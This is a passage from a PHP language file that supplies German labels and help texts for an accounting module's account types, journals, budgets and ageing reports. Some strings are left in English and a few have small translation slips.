'Partnerbeiträge', 'partner_contributions_desc' => 'Personengesellschaften verwenden Partnerbeiträge, um Beträge zu verfolgen, die Partner im Laufe des Jahres zur Partnerschaft beitragen.', 'partner_distributions' => 'Partnerausschüttungen', 'partner_distributions_desc' => 'Personengesellschaften verwenden Partnerausschüttungen, um Beträge zu verfolgen, die von der Partnerschaft an ihre Partner im Laufe des Jahres ausgeschüttet werden. Verwenden Sie dies nicht für regelmäßige Zahlungen an Partner für Zinsen oder Dienstleistungen. Verwenden Sie stattdessen ein Garantiezahlungen-Konto (ein Aufwandskonto in Lohnkosten), um regelmäßige Zahlungen zu verfolgen.', "partner's_equity" => "Eigenkapital des Partners", "partner's_equity_desc" => 'Personengesellschaften verwenden das Eigenkapital des Partners, um das Einkommen zu zeigen, das am Ende des Vorjahres für jeden Partner in der Partnerschaft verbleibt.', 'preferred_shares' => 'Vorzugsaktien', 'preferred_shares_desc' => 'Kapitalgesellschaften verwenden dieses Konto, um ihre Vorzugsaktien in den Händen der Aktionäre zu verfolgen. Der Betrag in diesem Konto sollte dem Nennwert (oder Par) der Aktien entsprechen.', 'retained_earnings' => 'Einbehaltene Gewinne', 'retained_earnings_desc' => 'Einbehaltene Gewinne verfolgen den Nettogewinn aus früheren Geschäftsjahren.', 'share_capital' => 'Aktienkapital', 'share_capital_desc' => 'Verwenden Sie das Aktienkapital, um die durch Ausgabe von Aktien aufgebrachten Mittel zu verfolgen.', 'treasury_shares' => 'Schatzaktien', 'treasury_shares_desc' => 'Kapitalgesellschaften verwenden Schatzaktien, um Beträge zu verfolgen, die von der Gesellschaft gezahlt wurden, um ihre eigenen Aktien von Aktionären zurückzukaufen.', 'discounts/refunds_given' => 'Gewährte Rabatte/Erstattungen', 'discounts/refunds_given_desc' => 'Verwenden Sie gewährte Rabatte/Erstattungen, um Rabatte zu verfolgen, die Sie Kunden gewähren. Dieses Konto hat normalerweise einen negativen Saldo, um andere Einnahmen auszugleichen. Verwenden Sie für Rabatte von Lieferanten stattdessen ein Aufwandskonto.', 'non-profit_income' => 'Einkommen ohne Gewinnerzielungsabsicht', 'non-profit_income_desc' => 'Verwenden Sie Non-Profit-Einkommen, um Gelder zu verfolgen, die von einer gemeinnützigen Organisation eingehen.', 'other_primary_income' => 'Sonstige Haupterträge', 'other_primary_income_desc' => 'Verwenden Sie Andere Haupterträge, um Einkommen aus normalen Geschäftsabläufen zu verfolgen, die keiner anderen Einkommensart zugeordnet werden können.', 'revenue_-_general' => 'Umsatz - Allgemein', 'revenue_-_general_desc' => 'Verwenden Sie Umsatz - Allgemein, um Einkünfte aus normalen Geschäftsvorgängen zu verfolgen, die in keine andere Kategorie passen.', 'sales_-_retail' => 'Verkauf - Einzelhandel', 'sales_-_retail_desc' => 'Verwenden Sie Verkauf - Einzelhandel, um den Verkauf von Waren/Dienstleistungen zu verfolgen, die für Verbraucher mit einem Mark-up-Kosten verbunden sind.', 'sales_-_wholesale' => 'Verkauf - Großhandel', 'sales_-_wholesale_desc' => 'Verwenden Sie Verkauf - Großhandel, um den Verkauf von Waren in großen Mengen zu verfolgen, die für den Wiederverkauf bestimmt sind.', 'sales_of_product_income' => 'Einkünfte aus dem Verkauf von Produkten', 'sales_of_product_income_desc' => 'Verwenden Sie Einkünfte aus dem Verkauf von Produkten, um Einkünfte aus dem Verkauf von Produkten zu verfolgen. Hierzu können alle Arten von Produkten gehören, wie Ernten und Vieh, Mietgebühren, Vorführungen und serviertes Essen.', 'service/fee_income' => 'Einkünfte aus Dienstleistungen/Gebühren', 'service/fee_income_desc' => 'Verwenden Sie Einkünfte aus Dienstleistungen/Gebühren, um Einkünfte aus von Ihnen erbrachten Dienstleistungen oder gewöhnlichen Nutzungsgebühren zu verfolgen, die Sie erheben. Für Gebühren, die Kunden Ihnen für verspätete Zahlungen oder andere ungewöhnliche Situationen zahlen, verwenden Sie stattdessen einen anderen Kontotyp namens Andere verschiedene Einkünfte.', 'unapplied_cash_payment_income' => 'Nicht zugeordnete Einkünfte aus Barzahlungen', 'unapplied_cash_payment_income_desc' => 'Nicht zugeordnete Einkünfte aus Barzahlungen geben das Bar-Einnahmenbasis-Einkommen aus Kunden-Zahlungen wieder, die Sie erhalten haben, aber nicht auf Rechnungen oder Gebühren angewendet haben. Im Allgemeinen würden Sie dies nie direkt bei einer Kauf- oder Verkaufstransaktion verwenden.', 'dividend_income' => 'Dividendeneinkommen', 'dividend_income_desc' => 'Verwenden Sie Dividendeneinkommen, um steuerpflichtige Dividenden aus Investitionen zu verfolgen.', 'interest_earned' => 'Erhaltene Zinsen', 'interest_earned_desc' => 'Verwenden Sie Erhaltene Zinsen, um Zinsen aus Bank- oder Sparkonten, Investitionen oder Zinszahlungen an Sie für Darlehen, die Ihr Unternehmen gewährt hat, zu verfolgen.', 'loss_on_disposal_of_assets' => 'Verlust bei der Veräußerung von Vermögenswerten', 'loss_on_disposal_of_assets_desc' => 'Verwenden Sie Verlust bei der Veräußerung von Vermögenswerten, um Verluste zu verfolgen, die bei der Veräußerung von Vermögenswerten realisiert wurden.', 'other_investment_income' => 'Andere Anlageeinkünfte', 'other_investment_income_desc' => 'Verwenden Sie Andere Anlageeinkünfte, um andere Arten von Anlageeinkünften zu verfolgen, die nicht aus Dividenden oder Zinsen stammen.', 'other_miscellaneous_income' => 'Andere sonstige Einkünfte', 'other_miscellaneous_income_desc' => 'Verwenden Sie Andere sonstige Einkünfte, um Einkünfte zu verfolgen, die nicht aus normalen Geschäftstätigkeiten stammen und nicht in eine andere Kategorie von sonstigen Einkünften fallen.', 'other_operating_income' => 'Andere betriebliche Einkünfte', 'other_operating_income_desc' => 'Verwenden Sie Andere betriebliche Einkünfte, um Einkünfte aus Aktivitäten zu verfolgen, die nicht aus normalen Geschäftstätigkeiten stammen. Zum Beispiel Investitionszinsen, Devisengewinne und Mieteinnahmen.', 'tax-exempt_interest' => 'Steuervergünstigte Zinsen', 'tax-exempt_interest_desc' => 'Verwenden Sie Steuervergünstigte Zinsen, um Zinsen aufzuzeichnen, die nicht steuerpflichtig sind, wie Zinsen auf Geld in steuerbefreiten Ruhestandskonten oder Zinsen aus steuerbefreiten Anleihen.', 'unrealised_loss_on_securities,_net_of_tax' => 'Nicht realisierte Verluste bei Wertpapieren (netto)', 'unrealised_loss_on_securities,_net_of_tax_desc' => 'Verwenden Sie "Nicht realisierte Verluste bei Wertpapieren (netto)", um Verluste bei Wertpapieren zu erfassen, die aufgetreten sind, aber noch nicht durch eine Transaktion realisiert wurden. Zum Beispiel Aktien, deren Wert gefallen ist, die aber noch gehalten werden.', 'cost_of_labour_-_cos' => 'Lohnkosten - COS', 'cost_of_labour_-_cos_desc' => 'Verwenden Sie Lohnkosten - COS, um die Kosten für die Bezahlung von Mitarbeitern zur Herstellung von Produkten oder zur Erbringung von Dienstleistungen zu verfolgen. Es umfasst alle Beschäftigungskosten, einschließlich Lebensmittel und Transport, falls zutreffend.', 'equipment_rental_-_cos' => 'Ausrüstungsvermietung - COS', 'equipment_rental_-_cos_desc' => 'Verwenden Sie Ausrüstungsvermietung - COS, um die Kosten für die Anmietung von Geräten zur Herstellung von Produkten oder Dienstleistungen zu verfolgen. Wenn Sie Geräte kaufen, verwenden Sie eine festverzinsliche Anlageart namens Maschinen und Anlagen.', 'freight_and_delivery_-_cos' => 'Fracht und Lieferung - COS', 'freight_and_delivery_-_cos_desc' => 'Verwenden Sie Fracht und Lieferung - COS, um die Kosten für den Versand/Lieferung von Rohstoffen und die Herstellung von fertigen Waren für den Weiterverkauf zu verfolgen.', 'other_costs_of_sales_-_cos' => 'Andere Verkaufskosten - COS', 'other_costs_of_sales_-_cos_desc' => 'Verwenden Sie Andere Verkaufskosten - COS, um Kosten im Zusammenhang mit Dienstleistungen oder Verkäufen zu verfolgen, die nicht in einen anderen Kosten des Verkaufstyps fallen.', 'supplies_and_materials_-_cos' => 'Material und Zubehör - COS', 'supplies_and_materials_-_cos_desc' => 'Verwenden Sie Material und Zubehör - COS, um die Kosten für Rohstoffe und Teile zu verfolgen, die bei der Herstellung eines Produkts oder bei der Erbringung einer Dienstleistung verwendet oder verbraucht werden.', 'advertising/promotional' => 'Werbung/Promotion', 'advertising/promotional_desc' => 'Verwenden Sie Werbung/Promotion, um die für die Förderung Ihres Unternehmens ausgegebenen Gelder zu verfolgen. Sie möchten möglicherweise unterschiedliche Konten dieses Typs haben, um verschiedene Werbemaßnahmen (Gelbe Seiten, Zeitungen, Radio, Flyer, Veranstaltungen usw.) zu verfolgen. Wenn es sich bei der Werbemaßnahme um eine Mahlzeit handelt, verwenden Sie stattdessen "Promotion-Mahlzeiten".', 'amortisation_expense' => 'Abschreibungsaufwand', 'amortisation_expense_desc' => 'Verwenden Sie Abschreibungsaufwand, um die Abschreibung von Vermögenswerten (wie immateriellen Vermögenswerten oder Investitionen) über die prognostizierte Lebensdauer der Vermögenswerte zu verfolgen.', 'auto' => 'Auto', 'auto_desc' => 'Verwenden Sie Auto, um Kosten im Zusammenhang mit Fahrzeugen zu verfolgen. Möglicherweise möchten Sie unterschiedliche Konten dieses Typs haben, um Benzin, Reparaturen und Wartung zu verfolgen. Wenn Ihr Unternehmen ein Auto oder Lastwagen besitzt, möchten Sie möglicherweise auch dessen Wert als Anlagevermögen verfolgen, zusätzlich zu den Ausgaben.', 'bad_debts' => 'Uneinbringliche Forderungen', 'bad_debts_desc' => 'Verwenden Sie Uneinbringliche Forderungen, um Schulden zu verfolgen, die Sie abgeschrieben haben.', 'bank_charges' => 'Bankgebühren', 'bank_charges_desc' => 'Verwenden Sie Bankgebühren für alle Gebühren, die Sie an Finanzinstitute zahlen.', 'charitable_contributions' => 'Wohltätige Spenden', 'charitable_contributions_desc' => 'Verwenden Sie Wohltätige Spenden, um Geschenke an Wohltätigkeitsorganisationen zu verfolgen.', 'commissions_and_fees' => 'Provisionen und Gebühren', 'commissions_and_fees_desc' => 'Verwenden Sie Provisionen und Gebühren, um die an Agenten (wie Broker) gezahlten Beträge zu verfolgen, damit sie einen Handel ausführen.', 'cost_of_labour' => 'Arbeitskosten', 'cost_of_labour_desc' => 'Verwenden Sie Arbeitskosten, um die Kosten für die Bezahlung von Mitarbeitern zur Herstellung von Produkten oder zur Erbringung von Dienstleistungen zu verfolgen. Es umfasst alle Beschäftigungskosten, einschließlich Lebensmittel und Transport, falls zutreffend. Dieses Konto ist auch als Kosten des Verkaufs (COS) verfügbar.', 'dues_and_subscriptions' => 'Beiträge und Abonnements', 'dues_and_subscriptions_desc' => 'Verwenden Sie Beiträge und Abonnements, um Beiträge und Abonnements im Zusammenhang mit dem Betrieb Ihres Unternehmens zu verfolgen. Sie können verschiedene Konten dieses Typs für berufliche Beiträge, Lizenzgebühren, die nicht übertragen werden können, Zeitschriften, Zeitungen, Branchenpublikationen oder Service-Abonnements wünschen.', 'equipment_rental' => 'Gerätevermietung', 'equipment_rental_desc' => 'Verwenden Sie die Gerätevermietung, um die Kosten für die Anmietung von Geräten zur Herstellung von Produkten oder Dienstleistungen zu verfolgen. Dieses Konto ist auch als Kosten des Umsatzes (COS) verfügbar. Wenn Sie Geräte kaufen, verwenden Sie einen Fixanlagenkontotyp namens Maschinen und Geräte.', 'finance_costs' => 'Finanzierungskosten', 'finance_costs_desc' => 'Verwenden Sie Finanzierungskosten, um die Kosten für die Beschaffung von Krediten oder Krediten zu verfolgen. Beispiele für Finanzierungskosten wären Kreditkartengebühren, Zinsen und Hypothekenkosten.', 'income_tax_expense' => 'Einkommensteueraufwand', 'income_tax_expense_desc' => 'Verwenden Sie Einkommensteueraufwand, um die Einkommensteuern zu verfolgen, die das Unternehmen gezahlt hat, um seinen Steuerpflichten nachzukommen.', 'insurance' => 'Versicherung', 'insurance_desc' => 'Verwenden Sie die Versicherung, um Versicherungsprämien zu verfolgen. Sie können verschiedene Konten dieses Typs für verschiedene Arten von Versicherungen (Auto, Haftpflichtversicherung usw.) wünschen.', 'interest_paid' => 'Gezahlte Zinsen', 'interest_paid_desc' => 'Verwenden Sie Gezahlte Zinsen für alle Arten von Zinsen, die Sie zahlen, einschließlich Hypothekenzinsen, Finanzierungskosten auf Kreditkarten oder Zinsen auf Kredite.', 'legal_and_professional_fees' => 'Rechts- und Beratungskosten', 'legal_and_professional_fees_desc' => 'Verwenden Sie Rechts- und Beratungskosten, um Gelder zu verfolgen, die an Fachleute gezahlt werden, um Ihnen bei der Führung Ihres Unternehmens zu helfen. Sie können verschiedene Konten dieses Typs für Zahlungen an Ihren Buchhalter, Anwalt oder andere Berater wünschen.', 'loss_on_discontinued_operations,_net_of_tax' => 'Verlust aus eingestellten Geschäftsbetrieben netto nach Steuern', 'loss_on_discontinued_operations,_net_of_tax_desc' => 'Verwenden Sie den Verlust aus eingestellten Geschäftsbetrieben, netto nach Steuern, um den Verlust zu verfolgen, der realisiert wird, wenn ein Teil des Geschäfts aufhört zu operieren oder wenn eine Produktlinie eingestellt wird.', 'management_compensation' => 'Managementvergütung', 'management_compensation_desc' => 'Verwenden Sie die Management-Vergütung, um Vergütungen für Management-, Executive- und Non-Executive-Positionen zu verfolgen. Zum Beispiel Gehalt, Honorare und Leistungen.', 'meals_and_entertainment' => 'Essen und Unterhaltung', 'meals_and_entertainment_desc' => 'Verwenden Sie Essen und Unterhaltung, um zu verfolgen, wie viel Sie für das Essen mit Ihren Mitarbeitern ausgeben, um die Moral zu fördern. Wenn Sie mit einem Kunden speisen, um Ihr Geschäft zu fördern, verwenden Sie stattdessen ein Konto für Promotionsessen. Geben Sie bei der Eingabe der Transaktion unbedingt an, mit wem Sie gegessen haben und welchem Zweck das Essen diente.', 'office/general_administrative_expenses' => 'Büro-/allgemeine Verwaltungskosten', 'office/general_administrative_expenses_desc' => 'Verwenden Sie Büro-/allgemeine Verwaltungskosten, um alle Arten von allgemeinen oder bürobezogenen Kosten zu verfolgen.', 'other_miscellaneous_service_cost' => 'Sonstige sonstige Dienstleistungskosten', 'other_miscellaneous_service_cost_desc' => 'Verwenden Sie sonstige sonstige Dienstleistungskosten, um Kosten im Zusammenhang mit der Erbringung von Dienstleistungen zu verfolgen, die in keine andere Kostenart fallen. Dieses Konto ist auch als Kosten des Umsatzes (COS) verfügbar.', 'other_selling_expenses' => 'Sonstige Vertriebskosten', 'other_selling_expenses_desc' => 'Verwenden Sie sonstige Vertriebskosten, um Vertriebskosten zu verfolgen, die unter keine andere Kategorie fallen.', 'payroll_expenses' => 'Personalkosten', 'payroll_expenses_desc' => 'Verwenden Sie Personalkosten, um Personalkosten zu verfolgen. Sie möchten möglicherweise verschiedene Konten dieses Typs für Dinge wie: - Vergütung von Führungskräften - Garantierte Zahlungen - Arbeitsunfähigkeitsversicherung - Gehälter und Löhne - Lohnsteuern', 'rent_or_lease_of_buildings' => 'Miete oder Leasing von Gebäuden', 'rent_or_lease_of_buildings_desc' => 'Verwenden Sie Miete oder Leasing von Gebäuden, um Mietzahlungen zu verfolgen, die Sie leisten.', 'repair_and_maintenance' => 'Reparatur und Wartung', 'repair_and_maintenance_desc' => 'Verwenden Sie Reparatur und Wartung, um alle Reparaturen und periodischen Wartungsgebühren zu verfolgen. Sie möchten möglicherweise verschiedene Konten dieses Typs verwenden, um verschiedene Arten von Reparatur- und Wartungskosten (Auto, Ausrüstung, Landschaftsgestaltung usw.) zu verfolgen.', 'shipping_and_delivery_expense' => 'Versand- und Lieferkosten', 'shipping_and_delivery_expense_desc' => 'Verwenden Sie Versand- und Lieferkosten, um die Kosten für den Versand und die Lieferung von Waren an Kunden zu verfolgen.', 'supplies_and_materials' => 'Supplies and materials', 'supplies_and_materials_desc' => 'Use Supplies & materials to track the cost of raw goods and parts used or consumed when producing a product or providing a service. This account is also available as a Cost of Sales account.', 'taxes_paid' => 'Taxes Paid', 'taxes_paid_desc' => 'Use Taxes paid to track taxes you pay. You may want different accounts of this type for payments to different tax agencies.', 'travel_expenses_-_general_and_admin_expenses' => 'Travel expenses - general and admin expenses', 'travel_expenses_-_general_and_admin_expenses_desc' => 'Use Travel expenses - general and admin expenses to track travelling costs incurred that are not directly related to the revenue-generating operation of the company. For example, flight tickets and hotel costs when performing job interviews.', 'travel_expenses_-_selling_expense' => 'Travel expenses - selling expense', 'travel_expenses_-_selling_expense_desc' => 'Use Travel expenses - selling expense to track travelling costs incurred that are directly related to the revenue-generating operation of the company. For example, flight tickets and hotel costs when selling products and services.', 'unapplied_cash_bill_payment_expense' => 'Unapplied Cash Bill Payment Expense', 'unapplied_cash_bill_payment_expense_desc' => 'Unapplied Cash Bill Payment Expense reports the Cash Basis expense from supplier payment cheques you’ve sent but not yet applied to supplier bills. In general, you would never use this directly on a purchase or sale transaction.', 'utilities' => 'Utilities', 'utilities_desc' => 'Use Utilities to track utility payments. You may want different accounts of this type to track different types of utility payments (gas and electric, telephone, water, and so on).', 'amortisation' => 'Amortisation', 'amortisation_desc' => 'Use Amortisation to track amortisation of intangible assets. Amortisation is spreading the cost of an intangible asset over its useful life, like depreciation of fixed assets. You may want an amortisation account for each intangible asset you have.', 'depreciation' => 'Abschreibung', 'depreciation_desc' => 'Verwenden Sie Abschreibung, um zu verfolgen, wie viel Sie feste Vermögenswerte abschreiben. Sie möchten möglicherweise für jeden festen Vermögenswert ein Abschreibungskonto haben.', 'exchange_gain_or_loss' => 'Wechselkursgewinn oder -verlust', 'exchange_gain_or_loss_desc' => 'Verwenden Sie Wechselkursgewinne oder -verluste, um Gewinne oder Verluste zu verfolgen, die aufgrund von Wechselkursschwankungen auftreten.', 'other_expense' => 'Andere Ausgaben', 'other_expense_desc' => 'Verwenden Sie Andere Ausgaben, um ungewöhnliche oder seltene Ausgaben zu verfolgen, die in keine andere Kategorie von Ausgaben fallen.', 'penalties_and_settlements' => 'Strafen und Zahlungen', 'penalties_and_settlements_desc' => 'Verwenden Sie Strafen und Zahlungen, um Geld zu verfolgen, das Sie für die Verletzung von Gesetzen oder Vorschriften, die Beilegung von Klagen oder andere Strafen zahlen.', 'chart_of_accounts' => 'Kontenrahmen', 'account_type' => 'Kontotyp', 'detail_type' => 'Detailtyp', 'account' => 'Konto', 'parent_account' => 'Übergeordnetes Konto', 'as_of' => 'Stichtag', 'gl_code_help' => 'Alle Konten haben eine 6-stellige Nummer. 1xxxxxx = Vermögenswerte, 2xxxxx = Verbindlichkeiten, 3xxxxx = Reinvermögen, 4xxxxx = Einnahmen, 5xxxxx = Einnahmen, 8xxxxx = Zuweisungen', 'gl_code' => 'Konto-Code', 'primary_balance' => 'Primärbalance', 'bank_balance' => 'Bankbilanz', 'active' => 'Aktiv', 'asset' => 'Vermögen', 'expenses' => 'Ausgaben', 'income' => 'Einkommen', 'equity' => 'Eigenkapital', 'liability' => 'Verbindlichkeiten', 'add_account' => 'Konto hinzufügen', 'account_sub_type' => 'Kontounterart', 'add_account_sub_type' => 'Kontounterart hinzufügen', 'add_detail_type' => 'Detailtyp hinzufügen', 'edit_account_type' => 'Kontotyp bearbeiten', 'edit_detail_type' => 'Detailtyp bearbeiten', 'parent_type' => 'Übergeordneter Typ', 'no_accounts' => 'Keine Konten gefunden', 'add_default_accounts_help' => 'Möchten Sie Standardkonten erstellen? Standardkonten können nach der Erstellung bearbeitet/ gelöscht werden', 'add_default_accounts' => 'Standardkonten erstellen', 'journal_entry' => 'Buchung', 'debit' => 'Soll', 'credit' => 'Haben', 'total' => 'Summe', 'credit_debit_equal' => 'Soll- und Habenbuchungen müssen gleich sein, um fortzufahren', 'select_all_accounts' => 'Konto für alle verwendeten Zeilen auswählen', 'journal_date' => 'Buchungsdatum', 'edit_account' => 'Konto bearbeiten', 'chart_of_account_overview' => 'Übersicht des Kontenplans', 'current_balance' => 'Aktueller Saldo', 'transfer' => 'Übertrag', 'add_transfer' => 'Übertrag hinzufügen', 'edit_transfer' => 'Übertrag bearbeiten', 'activated_successfully' => 'Konto erfolgreich aktiviert', 'deactivated_successfully' => 'Konto erfolgreich deaktiviert', 'budget' => 'Budget', 'financial_year_for_the_budget' => 'Finanzjahr für das Budget', 'continue' => 'Fortsetzen', 'budget_for_fy' => 'Budget für das Finanzjahr :fy', 'monthly' => 'Monatlich', 'quarterly' => 'Vierteljährlich', 'yearly' => 'Jährlich', '1st_quarter' => '1. Quartal', '2nd_quarter' => '2. Quartal', '3rd_quarter' => '3. Quartal', '4th_quarter' => '4. Quartal', 'ledger' => 'Hauptbuch', 'reports' => 'Berichte', 'view_report' => 'Bericht anzeigen', 'ledger_report' => 'Hauptbuchbericht', 'ledger_report_description' => 'Der Hauptbuchbericht enthält die klassifizierten und detaillierten Informationen aller einzelnen Konten einschließlich der Soll- und Habenaspekte.', 'ledger_add_account' => 'Fügen Sie einige Konten hinzu, um den Hauptbuchbericht anzuzeigen', 'select_a_financial_year' => 'Wählen Sie ein Finanzjahr aus, um das Budget anzuzeigen', 'trial_balance' => 'Probebilanz', 'trial_balance_description' => 'Eine Probebilanz zeigt die Zusammenfassung aller Kontensalden und hilft bei der Überprüfung, ob die Buchungen korrekt und ausgeglichen sind.', 'balance_sheet' => 'Bilanz', 'balance_sheet_description' => 'Dieser Bericht gibt Ihnen einen aktuellen Überblick über Ihre Konten an einem bestimmten Datum. Sie können es als "Snapshot"-Ansicht der aktuellen Position (Tag) des Geschäftsjahres bezeichnen.', 'assets' => 'Vermögen', 'liab_owners_capital' => "Passiva & Eigenkapital", 'total_liab_owners' => 'Gesamt Passiva & Eigenkapital', 'total_assets' => 'Gesamtvermögen', 'account_setting' => 'Kontoeinstellungen', 'reset_data' => 'Daten zurücksetzen', 'reset_help_txt' => 'Dies löscht alle Buchhaltungsdaten. Die Daten können nicht wiederhergestellt werden.', 'opening_balance' => 'Eröffnungsbilanz', 'tree_view' => 'Baumansicht', 'tabular_view' => 'Tabellarische Ansicht', 'expand_all' => 'Alle erweitern', 'collapse_all' => 'Alle reduzieren', 'export_to_pdf' => 'Als PDF exportieren', 'export_to_csv' => 'Als CSV exportieren', 'export_to_excel' => 'Als Excel exportieren', 'transactions' => 'Transaktionen', 'sales_payments' => 'Verkaufszahlungen', 'map_transaction' => 'Transaktion zuordnen', 'edit_mapping' => 'Zuordnung bearbeiten', 'deposit_to' => 'Einzahlen auf', 'payment_account' => 'Zahlungskonto', 'purchase_payments' => 'Einkaufszahlungen', 'access_accounting_module' => 'Zugriff auf Buchhaltungsmodul', 'manage_accounts' => 'Konten verwalten', 'view_journal' => 'Journal anzeigen', 'add_journal' => 'Journal hinzufügen', 'edit_journal' => 'Journal bearbeiten', 'delete_journal' => 'Journal löschen', 'map_transactions' => 'Transaktionen zuordnen', 'view_transfer' => 'Überweisung anzeigen', 'add_transfer' => 'Überweisung hinzufügen', 'edit_transfer' => 'Überweisung bearbeiten', 'delete_transfer' => 'Überweisung löschen', 'manage_budget' => 'Budget verwalten', 'view_reports' => 'Berichte anzeigen', 'journal_entry_prefix' => 'Journal Eintrag Präfix', 'transfer_prefix' => 'Überweisungspräfix', 'account_recievable_ageing_report' => 'Forderungsalterungsbericht (Zusammenfassung)', 'account_recievable_ageing_report_description' => 'Dieser Bericht zeigt die Zusammenfassung aller ausstehenden Verkaufsrechnungen im angegebenen Tagesbereich gemäß dem Fälligkeitsdatum.', '1_30_days' => '1 bis 30 Tage', '31_60_days' => '31 bis 60 Tage', '61_90_days' => '61 bis 90 Tage', '91_and_over' => '91 Tage und älter', 'account_payable_ageing_report' => 'Verbindlichkeiten-Ageing-Bericht (Zusammenfassung)', 'account_payable_ageing_report_description' => 'Dieser Bericht zeigt die Zusammenfassung aller ausstehenden Einkaufsrechnungen im angegebenen Tagesbereich gemäß dem Fälligkeitsdatum.', 'account_receivable_ageing_details' => 'Forderungsalterungsdetails (Details)', 'account_receivable_ageing_details_description' => 'Dieser Bericht zeigt die Details aller ausstehenden Verkaufsrechnungen im angegebenen Tagesbereich gemäß dem Fälligkeitsdatum.', 'current' => 'Aktuell', 'invoice' => 'Rechnung', 'total_for_current' => 'Gesamt für aktuell', 'days_past_due' => ':days Tage überfällig', 'total_for_days_past_due' => 'Gesamt für :days Tage überfällig', 'total_for_91_and_over' => 'Gesamt für 91 und mehr', 'account_payable_ageing_details' => 'Details zur Verbindlichkeitenalterung (Details)', 'account_payable_ageing_details_description' => 'Dieser Bericht zeigt die Details aller ausstehenden Einkaufsrechnungen im angegebenen Tagesbereich gemäß dem Fälligkeitsdatum.', '91_and_over_past_due' => '91 Tage und mehr überfällig', 'add_more_row' => 'Mehr Zeilen hinzufügen', ] ?>